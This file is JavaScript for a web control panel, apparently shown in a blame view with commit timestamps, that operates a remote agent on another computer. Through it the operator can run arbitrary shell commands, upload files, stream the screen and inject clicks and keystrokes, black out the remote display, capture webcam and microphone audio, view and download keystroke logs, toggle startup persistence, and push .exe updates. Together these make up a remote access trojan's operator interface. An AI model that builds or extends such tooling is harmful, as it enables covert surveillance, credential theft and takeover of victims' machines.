while (micListening) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
await pullMicChunk();
|
|
|
|
|
|
} catch (err) {
|
|
|
|
|
|
if (micListening) {
|
|
|
|
|
|
showError(err.message);
|
|
|
|
|
|
await sleep(500);
|
|
|
|
|
|
}
|
|
|
|
|
|
continue;
|
|
|
|
|
|
}
|
|
|
|
|
|
await sleep(50);
|
|
|
|
|
|
}
|
|
|
|
|
|
micListening = false;
|
|
|
|
|
|
setMicControls();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function stopMicListen() {
|
|
|
|
|
|
micListening = false;
|
|
|
|
|
|
setMicControls();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function startMicRecording() {
|
|
|
|
|
|
const device = micDevice.value;
|
|
|
|
|
|
if (device === "") throw new Error("no microphone selected");
|
|
|
|
|
|
const res = await api(`/api/v1/mic/record?device=${encodeURIComponent(device)}`, { method: "POST" });
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
micRecording = true;
|
|
|
|
|
|
setMicControls();
|
|
|
|
|
|
micMeta.textContent = `Recording ${data.file}`;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function stopMicRecording() {
|
|
|
|
|
|
const res = await api("/api/v1/mic/record", { method: "DELETE" });
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
micRecording = false;
|
|
|
|
|
|
setMicControls();
|
|
|
|
|
|
micMeta.textContent = `Saved ${data.file} · ${formatBytes(data.size || 0)}`;
|
|
|
|
|
|
await listMicRecordings();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function stopMicSession() {
|
|
|
|
|
|
stopMicListen();
|
|
|
|
|
|
if (micRecording) {
|
|
|
|
|
|
try {
|
|
|
|
|
|
await stopMicRecording();
|
|
|
|
|
|
} catch {
|
|
|
|
|
|
micRecording = false;
|
|
|
|
|
|
setMicControls();
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
try {
|
|
|
|
|
|
await apiNoContent("/api/v1/mic", { method: "DELETE" });
|
|
|
|
|
|
} catch {
|
|
|
|
|
|
// ignore
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function downloadMicRecording(name) {
|
|
|
|
|
|
const link = document.createElement("a");
|
|
|
|
|
|
link.href = `/api/v1/mic/download?file=${encodeURIComponent(name)}`;
|
|
|
|
|
|
link.download = name;
|
|
|
|
|
|
document.body.append(link);
|
|
|
|
|
|
link.click();
|
|
|
|
|
|
link.remove();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function listMicRecordings() {
|
|
|
|
|
|
const res = await api("/api/v1/mic/recordings");
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
const files = data.files || [];
|
|
|
|
|
|
micRecording = Boolean(data.recording);
|
|
|
|
|
|
setMicControls();
|
|
|
|
|
|
const dir = data.directory || "";
|
|
|
|
|
|
micMeta.textContent = micRecording
|
|
|
|
|
|
? `Recording in progress · ${files.length} saved · ${dir}`
|
|
|
|
|
|
: `${files.length} recording(s) · ${dir}`;
|
|
|
|
|
|
micRows.replaceChildren();
|
|
|
|
|
|
for (const file of files) {
|
|
|
|
|
|
const tr = document.createElement("tr");
|
|
|
|
|
|
const name = document.createElement("td");
|
|
|
|
|
|
name.textContent = file.name;
|
|
|
|
|
|
const size = document.createElement("td");
|
|
|
|
|
|
size.textContent = formatBytes(file.size || 0);
|
|
|
|
|
|
const modified = document.createElement("td");
|
|
|
|
|
|
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
|
|
|
|
|
|
const actions = document.createElement("td");
|
|
|
|
|
|
actions.className = "actions";
|
|
|
|
|
|
const btn = document.createElement("button");
|
|
|
|
|
|
btn.type = "button";
|
|
|
|
|
|
btn.textContent = "Download";
|
|
|
|
|
|
btn.addEventListener("click", () => downloadMicRecording(file.name));
|
|
|
|
|
|
actions.append(btn);
|
|
|
|
|
|
tr.append(name, size, modified, actions);
|
|
|
|
|
|
micRows.append(tr);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-18 19:12:25 +03:00
|
|
|
|
async function pullVideoFrame() {
|
|
|
|
|
|
const quality = clamp(document.getElementById("video-quality").value, 1, 100);
|
|
|
|
|
|
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
|
|
|
|
|
const res = await api(`/api/v1/screenshot?format=jpeg&quality=${quality}&monitor=${monitor}`);
|
|
|
|
|
|
lastMonitor = {
|
|
|
|
|
|
left: Number(res.headers.get("X-Monitor-Left") || 0),
|
|
|
|
|
|
top: Number(res.headers.get("X-Monitor-Top") || 0),
|
|
|
|
|
|
width: Number(res.headers.get("X-Monitor-Width") || 0),
|
|
|
|
|
|
height: Number(res.headers.get("X-Monitor-Height") || 0),
|
|
|
|
|
|
};
|
|
|
|
|
|
const blob = await res.blob();
|
|
|
|
|
|
const bitmap = await createImageBitmap(blob);
|
|
|
|
|
|
if (videoCanvas.width !== bitmap.width || videoCanvas.height !== bitmap.height) {
|
|
|
|
|
|
videoCanvas.width = bitmap.width;
|
|
|
|
|
|
videoCanvas.height = bitmap.height;
|
|
|
|
|
|
}
|
|
|
|
|
|
const ctx = videoCanvas.getContext("2d");
|
|
|
|
|
|
ctx.drawImage(bitmap, 0, 0);
|
|
|
|
|
|
const width = bitmap.width;
|
|
|
|
|
|
const height = bitmap.height;
|
|
|
|
|
|
bitmap.close();
|
2026-09-02 13:32:21 +03:00
|
|
|
|
videoMeta.textContent = `${width}×${height} · monitor ${monitor} @ ${lastMonitor.left},${lastMonitor.top}${res.headers.get("X-Screen-Blackout") === "1" ? " · blackout" : ""}`;
|
2026-08-18 19:12:25 +03:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function sendClick(event, button) {
|
2026-08-29 18:27:11 +03:00
|
|
|
|
if (!videoInteract.checked) return;
|
2026-08-18 19:12:25 +03:00
|
|
|
|
if (!lastMonitor.width || !lastMonitor.height) return;
|
|
|
|
|
|
const rect = videoCanvas.getBoundingClientRect();
|
|
|
|
|
|
if (!rect.width || !rect.height) return;
|
|
|
|
|
|
const bitmapX = Math.floor((event.clientX - rect.left) * (videoCanvas.width / rect.width));
|
|
|
|
|
|
const bitmapY = Math.floor((event.clientY - rect.top) * (videoCanvas.height / rect.height));
|
|
|
|
|
|
const x = lastMonitor.left + bitmapX;
|
|
|
|
|
|
const y = lastMonitor.top + bitmapY;
|
|
|
|
|
|
const monitor = clamp(document.getElementById("video-monitor").value, 0, 64);
|
|
|
|
|
|
await api("/api/v1/input/click", {
|
|
|
|
|
|
method: "POST",
|
|
|
|
|
|
headers: { "Content-Type": "application/json" },
|
|
|
|
|
|
body: JSON.stringify({ x, y, button, monitor }),
|
|
|
|
|
|
});
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-28 13:11:56 +03:00
|
|
|
|
const MODIFIER_CODES = new Set([
|
|
|
|
|
|
"ControlLeft", "ControlRight", "ShiftLeft", "ShiftRight",
|
|
|
|
|
|
"AltLeft", "AltRight", "MetaLeft", "MetaRight", "OSLeft", "OSRight",
|
|
|
|
|
|
]);
|
|
|
|
|
|
|
|
|
|
|
|
const CODE_KEYS = {
|
|
|
|
|
|
Enter: "enter", NumpadEnter: "enter", Backspace: "backspace", Tab: "tab",
|
|
|
|
|
|
Escape: "escape", Space: "space", Delete: "delete", Insert: "insert",
|
|
|
|
|
|
Home: "home", End: "end", PageUp: "pageup", PageDown: "pagedown",
|
|
|
|
|
|
ArrowUp: "up", ArrowDown: "down", ArrowLeft: "left", ArrowRight: "right",
|
|
|
|
|
|
Semicolon: ";", Equal: "=", Comma: ",", Minus: "-", Period: ".", Slash: "/",
|
|
|
|
|
|
Backquote: "`", BracketLeft: "[", Backslash: "\\", BracketRight: "]", Quote: "'",
|
|
|
|
|
|
};
|
|
|
|
|
|
for (let i = 0; i <= 9; i += 1) CODE_KEYS[`Digit${i}`] = String(i);
|
|
|
|
|
|
for (let i = 0; i < 26; i += 1) {
|
|
|
|
|
|
const letter = String.fromCharCode(65 + i);
|
|
|
|
|
|
CODE_KEYS[`Key${letter}`] = letter.toLowerCase();
|
|
|
|
|
|
}
|
|
|
|
|
|
for (let i = 1; i <= 12; i += 1) CODE_KEYS[`F${i}`] = `f${i}`;
|
|
|
|
|
|
|
|
|
|
|
|
const modState = { ctrl: false, alt: false, shift: false, win: false };
|
|
|
|
|
|
|
2026-08-28 13:22:59 +03:00
|
|
|
|
function setModButton(name, active) {
|
|
|
|
|
|
const button = document.querySelector(`.mod-btn[data-mod="${name}"]`);
|
|
|
|
|
|
if (!button) return;
|
|
|
|
|
|
button.classList.toggle("active", active);
|
|
|
|
|
|
button.setAttribute("aria-pressed", active ? "true" : "false");
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function isTypingTarget(el) {
|
|
|
|
|
|
if (!el || el === document.body) return false;
|
|
|
|
|
|
const tag = el.tagName;
|
|
|
|
|
|
if (tag === "INPUT" || tag === "TEXTAREA" || tag === "SELECT") return true;
|
|
|
|
|
|
if (el.isContentEditable) return true;
|
|
|
|
|
|
return false;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-09-02 13:32:21 +03:00
|
|
|
|
async function loadBlackout() {
|
|
|
|
|
|
const res = await api("/api/v1/blackout");
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
videoBlackout.checked = Boolean(data.enabled);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function setBlackoutEnabled(enabled) {
|
|
|
|
|
|
const res = await api("/api/v1/blackout", {
|
|
|
|
|
|
method: "PUT",
|
|
|
|
|
|
headers: { "Content-Type": "application/json" },
|
|
|
|
|
|
body: JSON.stringify({ enabled }),
|
|
|
|
|
|
});
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
videoBlackout.checked = Boolean(data.enabled);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-28 13:22:59 +03:00
|
|
|
|
function setVideoTabActive(active) {
|
|
|
|
|
|
if (videoTabActive === active) return;
|
|
|
|
|
|
videoTabActive = active;
|
|
|
|
|
|
document.removeEventListener("keydown", onVideoKeydown, true);
|
|
|
|
|
|
if (active) {
|
|
|
|
|
|
document.addEventListener("keydown", onVideoKeydown, true);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function onVideoKeydown(event) {
|
2026-08-29 18:27:11 +03:00
|
|
|
|
if (!videoTabActive || !videoInteract.checked) return;
|
2026-08-28 13:22:59 +03:00
|
|
|
|
if (isTypingTarget(event.target)) return;
|
|
|
|
|
|
if (MODIFIER_CODES.has(event.code)) return;
|
|
|
|
|
|
const key = keyFromEvent(event);
|
|
|
|
|
|
if (!key) return;
|
|
|
|
|
|
event.preventDefault();
|
|
|
|
|
|
event.stopPropagation();
|
|
|
|
|
|
sendRemoteKey(key, "tap", transientModifiers(event)).catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-29 18:27:11 +03:00
|
|
|
|
function syncInteractable() {
|
|
|
|
|
|
const on = videoInteract.checked;
|
|
|
|
|
|
videoCanvas.classList.toggle("view-only", !on);
|
|
|
|
|
|
videoKeyHint.textContent = on
|
|
|
|
|
|
? "Keyboard sends to remote while this tab is active"
|
|
|
|
|
|
: "View only — enable Interactable to send mouse and keyboard";
|
|
|
|
|
|
document.querySelectorAll(".mod-btn").forEach((button) => {
|
|
|
|
|
|
button.disabled = !on;
|
|
|
|
|
|
});
|
|
|
|
|
|
if (!on) {
|
|
|
|
|
|
releaseRemoteModifiers().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-28 13:11:56 +03:00
|
|
|
|
function keyFromEvent(event) {
|
|
|
|
|
|
if (CODE_KEYS[event.code]) return CODE_KEYS[event.code];
|
|
|
|
|
|
if (event.key && event.key.length === 1 && /[a-zA-Z0-9]/.test(event.key)) {
|
|
|
|
|
|
return event.key.toLowerCase();
|
|
|
|
|
|
}
|
|
|
|
|
|
return null;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function transientModifiers(event) {
|
|
|
|
|
|
const mods = [];
|
|
|
|
|
|
if (event.shiftKey && !modState.shift) mods.push("shift");
|
|
|
|
|
|
if (event.ctrlKey && !modState.ctrl) mods.push("ctrl");
|
|
|
|
|
|
if (event.altKey && !modState.alt) mods.push("alt");
|
|
|
|
|
|
if (event.metaKey && !modState.win) mods.push("win");
|
|
|
|
|
|
return mods;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function sendRemoteKey(key, action = "tap", modifiers = []) {
|
|
|
|
|
|
await api("/api/v1/input/key", {
|
2026-08-18 19:12:25 +03:00
|
|
|
|
method: "POST",
|
|
|
|
|
|
headers: { "Content-Type": "application/json" },
|
2026-08-28 13:11:56 +03:00
|
|
|
|
body: JSON.stringify({ key, action, modifiers }),
|
2026-08-18 19:12:25 +03:00
|
|
|
|
});
|
2026-08-28 13:11:56 +03:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function releaseRemoteModifiers() {
|
|
|
|
|
|
const jobs = [];
|
|
|
|
|
|
for (const [name, active] of Object.entries(modState)) {
|
|
|
|
|
|
if (!active) continue;
|
|
|
|
|
|
modState[name] = false;
|
2026-08-28 13:22:59 +03:00
|
|
|
|
setModButton(name, false);
|
2026-08-28 13:11:56 +03:00
|
|
|
|
jobs.push(sendRemoteKey(name, "up"));
|
|
|
|
|
|
}
|
|
|
|
|
|
await Promise.all(jobs);
|
2026-08-18 19:12:25 +03:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-28 13:22:59 +03:00
|
|
|
|
function downloadLog(name) {
|
|
|
|
|
|
const link = document.createElement("a");
|
|
|
|
|
|
link.href = `/api/v1/keylog/download?file=${encodeURIComponent(name)}`;
|
|
|
|
|
|
link.download = name;
|
|
|
|
|
|
document.body.append(link);
|
|
|
|
|
|
link.click();
|
|
|
|
|
|
link.remove();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function openLog(name, row) {
|
|
|
|
|
|
selectedLogName = name;
|
|
|
|
|
|
document.querySelectorAll("tr.log-row.selected").forEach((item) => item.classList.remove("selected"));
|
|
|
|
|
|
row?.classList.add("selected");
|
|
|
|
|
|
logViewTitle.textContent = name;
|
|
|
|
|
|
logView.hidden = false;
|
|
|
|
|
|
logView.textContent = "Loading…";
|
|
|
|
|
|
try {
|
|
|
|
|
|
const res = await api(`/api/v1/keylog/download?file=${encodeURIComponent(name)}`);
|
|
|
|
|
|
logView.textContent = await res.text();
|
|
|
|
|
|
} catch (err) {
|
|
|
|
|
|
logView.textContent = "";
|
|
|
|
|
|
logView.hidden = true;
|
|
|
|
|
|
logViewTitle.textContent = "";
|
|
|
|
|
|
showError(err.message);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-28 12:44:09 +03:00
|
|
|
|
async function listKeylogs() {
|
|
|
|
|
|
const res = await api("/api/v1/keylog");
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
const files = data.files || [];
|
2026-08-28 13:22:59 +03:00
|
|
|
|
logMeta.textContent = `${files.length} files · ${data.directory || ""} · click to view, right-click to save`;
|
2026-08-28 12:44:09 +03:00
|
|
|
|
logRows.replaceChildren();
|
|
|
|
|
|
for (const file of files) {
|
|
|
|
|
|
const tr = document.createElement("tr");
|
2026-08-28 13:22:59 +03:00
|
|
|
|
tr.className = "log-row";
|
|
|
|
|
|
if (file.name === selectedLogName) tr.classList.add("selected");
|
2026-08-28 12:44:09 +03:00
|
|
|
|
const name = document.createElement("td");
|
2026-08-28 13:22:59 +03:00
|
|
|
|
name.className = "log-name";
|
2026-08-28 12:44:09 +03:00
|
|
|
|
name.textContent = file.name;
|
2026-08-28 13:22:59 +03:00
|
|
|
|
name.addEventListener("click", () => {
|
|
|
|
|
|
openLog(file.name, tr).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
tr.addEventListener("contextmenu", (event) => {
|
|
|
|
|
|
event.preventDefault();
|
|
|
|
|
|
downloadLog(file.name);
|
|
|
|
|
|
});
|
2026-08-28 12:44:09 +03:00
|
|
|
|
const size = document.createElement("td");
|
|
|
|
|
|
size.textContent = formatBytes(file.size || 0);
|
|
|
|
|
|
const modified = document.createElement("td");
|
|
|
|
|
|
modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : "";
|
2026-08-28 13:22:59 +03:00
|
|
|
|
tr.append(name, size, modified);
|
2026-08-28 12:44:09 +03:00
|
|
|
|
logRows.append(tr);
|
|
|
|
|
|
}
|
2026-08-28 13:22:59 +03:00
|
|
|
|
if (selectedLogName && !files.some((file) => file.name === selectedLogName)) {
|
|
|
|
|
|
selectedLogName = "";
|
|
|
|
|
|
logView.hidden = true;
|
|
|
|
|
|
logView.textContent = "";
|
|
|
|
|
|
logViewTitle.textContent = "";
|
|
|
|
|
|
} else if (selectedLogName) {
|
|
|
|
|
|
const row = logRows.querySelector("tr.log-row.selected");
|
|
|
|
|
|
openLog(selectedLogName, row).catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
2026-08-28 12:44:09 +03:00
|
|
|
|
}
|
|
|
|
|
|
|
2026-09-01 20:17:06 +03:00
|
|
|
|
function alternatePort(addr) {
|
|
|
|
|
|
const match = String(addr || "").match(/:(\d+)$/);
|
|
|
|
|
|
const port = match ? Number(match[1]) : 5032;
|
|
|
|
|
|
return port === 5032 ? 5033 : 5032;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function syncUpdateMeta() {
|
|
|
|
|
|
const meta = document.getElementById("update-meta");
|
|
|
|
|
|
if (!meta) return;
|
|
|
|
|
|
if (!currentListen) {
|
|
|
|
|
|
meta.textContent = "Refresh status to see the current listen address.";
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
meta.textContent = `This instance: ${currentListen} · new instance: port ${alternatePort(currentListen)}`;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
async function deployUpdate(file) {
|
|
|
|
|
|
const form = new FormData();
|
|
|
|
|
|
form.set("file", file);
|
|
|
|
|
|
const res = await api("/api/v1/update", { method: "POST", body: form });
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
const result = document.getElementById("update-result");
|
|
|
|
|
|
result.textContent = `Deployed ${data.path} · listening on ${data.listen_address} (was ${data.previous_listen_address})`;
|
|
|
|
|
|
}
|
|
|
|
|
|
|
2026-08-18 16:55:42 +03:00
|
|
|
|
async function runCommand() {
|
|
|
|
|
|
const command = document.getElementById("exec-command").value.trim();
|
|
|
|
|
|
const timeout = Number(document.getElementById("exec-timeout").value);
|
|
|
|
|
|
const res = await api("/api/v1/exec", {
|
|
|
|
|
|
method: "POST",
|
|
|
|
|
|
headers: { "Content-Type": "application/json" },
|
|
|
|
|
|
body: JSON.stringify({ command, timeout_sec: timeout }),
|
|
|
|
|
|
});
|
|
|
|
|
|
const data = await res.json();
|
|
|
|
|
|
execMeta.textContent = `exit code ${data.exit_code}`;
|
|
|
|
|
|
const stdout = data.stdout || "";
|
|
|
|
|
|
const stderr = data.stderr || "";
|
|
|
|
|
|
execOut.textContent = [stdout, stderr && `STDERR:\n${stderr}`].filter(Boolean).join("\n\n");
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
document.querySelectorAll("nav button").forEach((button) => {
|
|
|
|
|
|
button.addEventListener("click", () => {
|
|
|
|
|
|
document.querySelectorAll("nav button").forEach((item) => item.classList.remove("active"));
|
|
|
|
|
|
document.querySelectorAll(".panel").forEach((panel) => panel.classList.remove("active"));
|
|
|
|
|
|
button.classList.add("active");
|
|
|
|
|
|
document.getElementById(button.dataset.tab).classList.add("active");
|
2026-08-28 13:22:59 +03:00
|
|
|
|
const onVideo = button.dataset.tab === "video";
|
|
|
|
|
|
setVideoTabActive(onVideo);
|
2026-09-02 13:32:21 +03:00
|
|
|
|
if (onVideo) {
|
|
|
|
|
|
loadBlackout().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
2026-08-28 13:22:59 +03:00
|
|
|
|
if (!onVideo) {
|
2026-08-18 19:12:25 +03:00
|
|
|
|
stopVideo();
|
|
|
|
|
|
}
|
2026-09-02 01:00:09 +03:00
|
|
|
|
const onMic = button.dataset.tab === "mic";
|
|
|
|
|
|
if (micTabActive && !onMic) {
|
|
|
|
|
|
stopMicSession().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
|
|
|
|
|
micTabActive = onMic;
|
|
|
|
|
|
if (onMic) {
|
|
|
|
|
|
refreshMics().catch((err) => showError(err.message));
|
|
|
|
|
|
listMicRecordings().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
2026-08-28 12:44:09 +03:00
|
|
|
|
if (button.dataset.tab === "logs") {
|
|
|
|
|
|
listKeylogs().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
2026-09-01 23:36:39 +03:00
|
|
|
|
if (button.dataset.tab === "settings") {
|
|
|
|
|
|
loadSettings().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
2026-08-18 16:55:42 +03:00
|
|
|
|
});
|
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
|
|
document.getElementById("refresh-status").addEventListener("click", () => {
|
|
|
|
|
|
Promise.all([loadHealth(), loadStatus()]).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-08-18 17:06:20 +03:00
|
|
|
|
startupAdd.addEventListener("click", () => {
|
|
|
|
|
|
setStartupEnabled(true).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
startupRemove.addEventListener("click", () => {
|
|
|
|
|
|
setStartupEnabled(false).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-09-02 00:15:37 +03:00
|
|
|
|
watchdogEnable.addEventListener("click", () => {
|
|
|
|
|
|
setWatchdogEnabled(true).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
watchdogDisable.addEventListener("click", () => {
|
|
|
|
|
|
setWatchdogEnabled(false).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-09-01 23:36:39 +03:00
|
|
|
|
keylogEnable.addEventListener("click", () => {
|
|
|
|
|
|
setKeylogEnabled(true).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
keylogDisable.addEventListener("click", () => {
|
|
|
|
|
|
setKeylogEnabled(false).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-08-18 16:55:42 +03:00
|
|
|
|
document.getElementById("file-list").addEventListener("click", () => {
|
|
|
|
|
|
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
document.getElementById("file-up").addEventListener("click", () => {
|
|
|
|
|
|
listFiles(parentPath(pathInput.value.trim())).catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-08-28 12:52:26 +03:00
|
|
|
|
const filePicker = document.getElementById("file-picker");
|
|
|
|
|
|
document.getElementById("file-upload").addEventListener("click", () => {
|
|
|
|
|
|
filePicker.click();
|
|
|
|
|
|
});
|
|
|
|
|
|
filePicker.addEventListener("change", () => {
|
|
|
|
|
|
const file = filePicker.files[0];
|
|
|
|
|
|
filePicker.value = "";
|
|
|
|
|
|
if (!file) return;
|
|
|
|
|
|
uploadFile(file)
|
|
|
|
|
|
.then((data) => {
|
|
|
|
|
|
fileMeta.textContent = `uploaded ${data.name} (${formatBytes(data.size || 0)})`;
|
|
|
|
|
|
return listFiles(pathInput.value.trim());
|
|
|
|
|
|
})
|
|
|
|
|
|
.catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-08-18 16:55:42 +03:00
|
|
|
|
document.getElementById("shot-capture").addEventListener("click", () => {
|
|
|
|
|
|
captureScreen().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-08-18 19:12:25 +03:00
|
|
|
|
videoStart.addEventListener("click", () => {
|
|
|
|
|
|
startVideo().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
videoStop.addEventListener("click", () => stopVideo());
|
2026-08-29 18:34:05 +03:00
|
|
|
|
document.getElementById("webcam-refresh").addEventListener("click", () => {
|
|
|
|
|
|
refreshWebcams().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
webcamStart.addEventListener("click", () => {
|
|
|
|
|
|
startWebcam().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
webcamStop.addEventListener("click", () => stopWebcam());
|
|
|
|
|
|
document.getElementById("webcam-snap").addEventListener("click", () => {
|
|
|
|
|
|
pullWebcamFrame().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-09-02 01:00:09 +03:00
|
|
|
|
document.getElementById("mic-refresh").addEventListener("click", () => {
|
|
|
|
|
|
refreshMics().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
micListen.addEventListener("click", () => {
|
|
|
|
|
|
runMicListen().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
micListenStop.addEventListener("click", () => {
|
|
|
|
|
|
stopMicListen();
|
|
|
|
|
|
});
|
|
|
|
|
|
micRecord.addEventListener("click", () => {
|
|
|
|
|
|
startMicRecording().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
micRecordStop.addEventListener("click", () => {
|
|
|
|
|
|
stopMicRecording().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
micDevice.addEventListener("change", () => {
|
|
|
|
|
|
if (micListening || micRecording) {
|
|
|
|
|
|
stopMicSession().catch((err) => showError(err.message));
|
|
|
|
|
|
}
|
|
|
|
|
|
});
|
2026-08-18 19:12:25 +03:00
|
|
|
|
videoCanvas.addEventListener("click", (event) => {
|
|
|
|
|
|
sendClick(event, "left").catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
|
|
|
|
|
videoCanvas.addEventListener("contextmenu", (event) => {
|
|
|
|
|
|
event.preventDefault();
|
|
|
|
|
|
sendClick(event, "right").catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-08-29 18:27:11 +03:00
|
|
|
|
videoInteract.addEventListener("change", () => syncInteractable());
|
2026-09-02 13:32:21 +03:00
|
|
|
|
videoBlackout.addEventListener("change", () => {
|
|
|
|
|
|
setBlackoutEnabled(videoBlackout.checked).catch((err) => {
|
|
|
|
|
|
videoBlackout.checked = !videoBlackout.checked;
|
|
|
|
|
|
showError(err.message);
|
|
|
|
|
|
});
|
|
|
|
|
|
});
|
2026-08-28 13:11:56 +03:00
|
|
|
|
document.querySelectorAll(".mod-btn").forEach((button) => {
|
|
|
|
|
|
button.addEventListener("click", () => {
|
2026-08-29 18:27:11 +03:00
|
|
|
|
if (!videoInteract.checked) return;
|
2026-08-28 13:11:56 +03:00
|
|
|
|
const name = button.dataset.mod;
|
|
|
|
|
|
if (!name) return;
|
|
|
|
|
|
modState[name] = !modState[name];
|
2026-08-28 13:22:59 +03:00
|
|
|
|
setModButton(name, modState[name]);
|
2026-08-28 13:11:56 +03:00
|
|
|
|
sendRemoteKey(name, modState[name] ? "down" : "up").catch((err) => {
|
|
|
|
|
|
modState[name] = !modState[name];
|
2026-08-28 13:22:59 +03:00
|
|
|
|
setModButton(name, modState[name]);
|
2026-08-28 13:11:56 +03:00
|
|
|
|
showError(err.message);
|
|
|
|
|
|
});
|
|
|
|
|
|
});
|
2026-08-18 19:12:25 +03:00
|
|
|
|
});
|
2026-08-29 18:27:11 +03:00
|
|
|
|
syncInteractable();
|
2026-08-18 16:55:42 +03:00
|
|
|
|
document.getElementById("exec-run").addEventListener("click", () => {
|
|
|
|
|
|
runCommand().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-09-01 20:17:06 +03:00
|
|
|
|
document.getElementById("update-deploy").addEventListener("click", () => {
|
|
|
|
|
|
const picker = document.getElementById("update-picker");
|
|
|
|
|
|
const file = picker.files[0];
|
|
|
|
|
|
if (!file) {
|
|
|
|
|
|
showError("choose a .exe file first");
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
|
|
|
|
|
deployUpdate(file)
|
|
|
|
|
|
.then(() => {
|
|
|
|
|
|
picker.value = "";
|
|
|
|
|
|
})
|
|
|
|
|
|
.catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-08-28 12:44:09 +03:00
|
|
|
|
document.getElementById("log-refresh").addEventListener("click", () => {
|
|
|
|
|
|
listKeylogs().catch((err) => showError(err.message));
|
|
|
|
|
|
});
|
2026-08-18 16:55:42 +03:00
|
|
|
|
|
2026-08-29 18:34:05 +03:00
|
|
|
|
Promise.all([loadHealth(), loadStatus(), listFiles(""), refreshWebcams()]).catch((err) => showError(err.message));
|
2026-08-18 16:55:42 +03:00
|
|
|
|
})();
|